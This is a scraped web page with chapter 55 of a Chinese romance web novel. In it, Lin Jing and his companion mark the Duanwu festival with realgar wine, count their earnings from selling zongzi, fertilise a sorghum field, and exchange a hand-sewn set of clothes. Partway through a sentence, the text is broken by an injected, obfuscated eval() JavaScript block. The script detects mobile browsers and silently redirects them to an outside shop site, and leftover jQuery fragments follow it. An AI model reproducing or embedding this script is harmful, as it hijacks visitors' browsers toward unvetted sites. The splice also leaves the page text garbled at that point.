文趣网 > 其他小说 > 娘子掏出来比我还大 > 55. 第五十五章
    晌午没煮饭,主食便是粽子,就着一道鲜椒仔姜兔,一碗血旺汤,还有两个小菜。

    简简单单的三菜一汤,林镜却吃撑了,实在是粽子过于瓷实,平时吃的杂粮饭根本比不了。

    今日过节,林镜特地从屋角的桌子上取过一坛只剩一半的浊酒,两人小酌了几杯。

    厉卿沅喝酒上脸,没一会儿便两颊泛红,透着丝丝粉意,眼神也略带迷离。

    林镜不敢多看,埋着脑袋收拾的碗筷,又取过前两日在药铺买的雄黄粉,倒进剩下的酒里晃荡均匀。

    加了雄黄的酒液黄澄澄的,像捞干净渣子的橘子汁,他倒了两小杯,递了一杯给厉卿沅,“雄黄酒,驱邪的,抿一口意思一下。”

    端阳有喝雄黄酒的习俗,但前世林松曾在夏朝皇帝陛下建立的新学读过书,回来后说雄黄有毒。

    自那以后,每逢端阳,林镜便只抿一口雄黄酒,没再多喝过。

    厉卿沅接过酒杯,有些新奇,京都端午都是喝菖蒲酒,雄黄酒倒是头一回见。

    两人碰了碰杯,他抿了一口,有些呛舌,药腥味完全盖过了酒味,不怎么好喝。

    不过入乡随俗,厉卿沅还是喝了小半杯雄黄酒,然后学着林镜的动作,用手蘸取酒液,在额头和耳后涂了薄薄一层,据说可以涂了这个,五毒不敢近身。

    做完这些,林镜又去灶间取了刷过用的刷把,用刷把蘸着雄黄酒,将屋里院外墙边石缝挨个撒了一编雄黄酒,嘴里还念念有词。

    “端阳撒雄黄,百毒不进房;蛇虫爬远点,全家都安康!”

    厉卿沅头有些发晕,却不肯乖乖坐下,亦步亦趋地跟在林镜身后,看他一遍一遍翻来覆去念着这几句词,手里不停抛洒酒液,连房梁上也不愿放过,像个认真做法跳大神的小道士,颇觉新奇。

    这人总是这般,做任何事都是一脸认真,却又和那些固守陈规的老古板不同,让人很难生厌。

    身后跟了条高自己半个脑袋的大尾巴,林镜回头一脸莫名。

    “你跟着我做啥子,这不用你,去耍你的。”

    想了想,又道:“昨晚夕熬了夜,去午睡会儿撒。”

    厉卿沅指指他,又指指林镜的房间,‘你也熬了夜,你也睡。’

    “我不睡。”林镜摇头,“一会儿江子要过来,我两个去扯点陈艾挂门头,还要找点草药,晚上洗药澡。”

    说曹操曹操到,林镜话音刚落,外头便响起张成江的大嗓门儿。

    “镜子,走噢!”

    “来了!”林镜应了一声,加快动作把最后一点雄黄酒洒出去,同阿荔打了声招呼,抄起背篼镰刀便准备出门。

    片刻后又折返回来,不放心地将瞧着有些醉的人拉到竹椅上坐下,嘱咐了两句这才在张成江的生生催促下飞奔而出。

    厉卿沅看着那背影,总觉得像极了自己小时候连写了数十张大字,一朝得闲,同堂弟疯跑出门玩耍的样子。

    他抿了抿唇,眉头上挑,悄悄弯起嘴角。

    不知不觉间,林镜似乎褪去了初见时的沉闷,越发开朗起来。

    那时他就在想,是怎样的经历,才会让一个未及弱冠的青年像个苦了半辈子即将黄土埋脖的老人那般,暮气沉沉,一脸死气。

    如今这样很好,除了……

    院外,两人一见面,张成江便将手搭在林镜肩头,两人勾肩搭背,谈笑风生,如同异父异母的亲兄弟,很快消失在视野中。

    厉卿沅起身追了两步,在踢到门槛前停下,看着那只搭在林镜肩头的手,唇角弧度缓缓下落,直至消失。

    ——

    夜晚,月明风清。

    连着忙活了两三日,晚上舒舒服服泡了个药浴,从半人高的浴桶里跨出来时林镜有些犯困。

    但刚洗的头发还没干,只得搬了个竹椅在院子里坐着,借柔和的夜风吹干头发。

    闲来无事,他将这两日卖粽子的钱取出来,同厉卿沅凑到一起算账。

    头一回买材料花了不到一两半银子,最后连卖带送,得了二十吊钱零几个铜板。

    昨日林镜又将那些铜板花了出去,添了八吊钱买材料。

    因是大桩生意,便没按照买十个粽子送一个来,而是不论口味,统一算十文钱一个,刚好三两银子。

    零零总总合算下来,两次卖粽子耗时三天,一共赚了七百六十几文。

    这数字听起来不多,但林镜在山上打猎,有时运气不好,半个月猎得的猎物也不一定能卖到这个数。

    也难怪人都道商户地位低贱,却还是趋之若鹜。

    林镜找来麻绳,将零散的铜板全串起来,每一百文一串,是为一吊。

    厉卿沅凑过来帮忙,两人忙活了好一会儿才弄好。

    将碎银和一部分铜钱放回钱匣,林镜塞了三吊钱到厉卿沅手里。

    厉卿沅摆手表示自己不需要,林镜道:“包粽子你也出了力的,总不能让你白干。”

    见阿荔还要再拒绝,林镜眉头微蹙,态度强硬:“喊你收就收着。”

    若是真夫妻便罢了,钱交给谁管都一样,可两人终归是假的,账务还是分清楚些好。

    虽说家里吃的用的都是林镜出钱,但阿荔平时也没少干活,家里的兔子和狗子都是她在照料,烧火拾柴样样不落,已经足够了。

    总不能自己想做点赚钱的营生,还把人当成免费劳动力使。

    刚洗完澡,写字用的小册子也没在身上,厉卿沅不能开口,说不过林镜,最终只得勉为其难地收下了那几串沉甸甸的铜板。

    罢了,左右他也有心要攒钱给林镜买个礼物,就用这笔钱多买一份好了。

    ——

    端阳一过,林镜又开始忙碌起来。

    田里的稻谷已然长得郁郁葱葱,有些种早稻的人家,谷秧已经扬花抽穗,但比它更加茂盛的,是一行行谷秧中间的稗子和茨菇。

    之前找张成江要的高粱种,撒进地里已经许久,前些日子东一镰刀西一榔头的,也没顾上移栽,如今足有人膝盖高,得抓紧时间抢栽下去。

    秧田除草,挖地栽高粱,两人足足忙活了小半个月。

    接着又是给刚刚定根的高粱施肥,家里就两个人,牲畜也不多,粪坑还是前不久新挖的,根本没有多少粪肥。

    林镜只得去镇上榨油坊买了几大筐油菜枯回来充当肥料。

    菜枯做肥的方法是前世夏朝建立后才渐渐普及开来的,如今的人大多用来当饲料喂牛羊。

    小地方养牛羊的人家不多,能舍得花钱买饲料的更是少之又少,因此价格很便宜。

    两亩地,林镜买了四百斤菜枯,才花了不到三百文,虽说对比自产的免费粪肥成本高了些,整体还是合算的。

    四百斤菜枯用人力扛少说也得跑两三趟,林镜借了张家的牛车,和张成江一道去拉回来的。

    听说他要买菜枯做肥料,李氏和林氏一脸看傻子的眼神看向他。

    “幺哥诶,你咋想的哦,这菜枯咋能拿来当肥料哦,简直是糟蹋钱!”林氏一脸痛心疾首地道。

    李氏也点头附和,“就是啊,你屋头没得粪水嘛,来我们家挑点去用嘛,花这钱做啥子?”

    说是这么说,可粪水这东西虽然不值钱,却是家家户户一年三季都要用,张家也没多少存货。

    便是全让他拿去用,除非兑水稀释,不然也不够用两亩地的,因此林镜才从头至尾都没想过来张家借粪。

    林镜正要说些什么,身侧张成江却先一步开口,“嗨呀,娘,大嫂,你们不懂,我听船上那些外地老板说过,人家北方人好多都是用菜枯做肥料,还有用酒糟子的。”

    “就是,说不定效果比粪水还好安?”屋檐下,张成山一边劈柴,一边插嘴。

    林氏依旧不信,叹了口气道:“唉,你们这娃娃家家的懂都不懂,我懒得跟你们说!”

    说罢,便摇摇头端

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755408|206800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着手里的针线筐进屋了。

    李氏见林镜执意如此,自家男人和小叔子都帮着他说话,也没再说什么。

    林镜将菜枯搬回家,和阿荔两人又用了几日才将高粱地全都施了一遍肥。

    这期间只要一得空,他便会上山一趟,检查一番陷阱,顺便碰碰运气。

    半个月下来,家里兔笼多了两三只野兔,还又添了几个竹笼,用来装没被当场弄死的野鸡和鸟雀。

    至于那些受了伤的猎物,自然都进了林镜和厉卿沅的肚子。

    三不五时的便开回荤,加上陈家送来的天麻和其他补品,厉卿沅的身子骨越发康健,原本有些凹陷的脸颊都丰盈了些许。

    除了两侧的疤痕只比最初淡了一点,依旧显眼以外,整个人看着和常人已无差别了。

    甚至还比寻常姑娘家壮硕些许。

    林镜坐在院子角落里劈柴,眼睛时不时落在正给秋芜抓跳蚤的阿荔身上。

    厉卿沅低着头,乌黑的头发用一根桃木簪挽在后脑勺上,梳得一丝不苟,连碎发都精心用沾水的梳子给梳了上去,修长的脖子展露无遗。

    脖子下方是平直的肩线,有些宽,目测比林镜的肩还宽些。

    身体线条修长流畅,胸前有不明显的弧度,看着不像女子的身躯,倒更像是男子的胸肌。

    林镜呼吸一滞,暗骂自己变态,但又没忍住低头看了看自己的。

    嗯,自己的没那么鼓,看来是他多心了。

    那边,厉卿沅根本没注意到林镜那些乱七八糟的视线和动作,黄花性子活泼,经常跑出去和别家的狗子玩,惹了一身跳蚤回来,连带着爱干净的秋芜也跟着遭殃。

    还没芝麻大的跳蚤在毛发里躲躲藏藏,抓不完,根本抓不完,索性起身端来热水,将两只狗子齐齐按在水中,狠狠搓洗了一遍。

    厉卿沅还不惜用肥皂搓了一遍狗毛。

    这肥皂是陈家送来的,并不是那种只有清洁效果的低档货,而是加了香料制成的。

    洗完的狗子毛茸茸,香喷喷,身上的跳蚤也少了许多。

    他满意地放下狗子,起身眼疾手快关掉院门,阻止了黄花又出门去惹一身新跳蚤回来,这才回过头来看向林镜。

    林镜的柴快劈完了,他走过去,帮忙将劈好的柴块整齐地摞在墙根,然后洗洗手进屋。

    没一会儿,便捧着一叠折叠整齐的布料出来,递到林镜面前。

    那是一块用蓝草染的毛蓝色棉布,或许是染色较轻,有些偏月白,但又不像月白那般浅淡不经脏。

    布料被做成了一套衣裳,被厉卿沅展开,是林镜合穿的尺寸。

    时间久了,两人都学会了些粗浅的手语,不需要再用小册子写字也能沟通。

    林镜接过衣裳,看着阿荔细长的手指一通比划:‘我自己做的,手艺有些糙。’

    “咋想起给我做衣裳,我有穿的。”

    ‘你那些衣裳,除了成亲时穿的那件,哪件没有补丁?’

    这倒是事实,重生在火场里,林镜只来得及抢救出几件换洗衣裳,一直到现在,也就成亲时置办了一套新的,还是陈家送的布料。

    “谢谢。”林镜没再说什么煞风景的话,而是珍而重之接过那身衣裳。

    这衣裳是厉卿沅亲手做的,他不擅针线活,手下的布料却是裁剪得当,针脚细密,看得出来很是费了一番功夫。

    难怪最近半夜起来总是看阿荔屋里亮着灯,他还当对方是怕黑,夜里点着灯睡。

    没想到竟是白日里随他在地里忙活,晚上还在加班做针线。

    “这料子好多钱?”阿荔手里也没几个钱,买了这布料定然不剩什么了,说着林镜便伸手要在怀兜里掏东西。

    厉卿沅:……

    他按住林镜的手,有些无奈地白了他一眼,转身回了屋。

    身后,林镜看着阿荔明显气恼的背影,有些不明所以。

    这是咋了?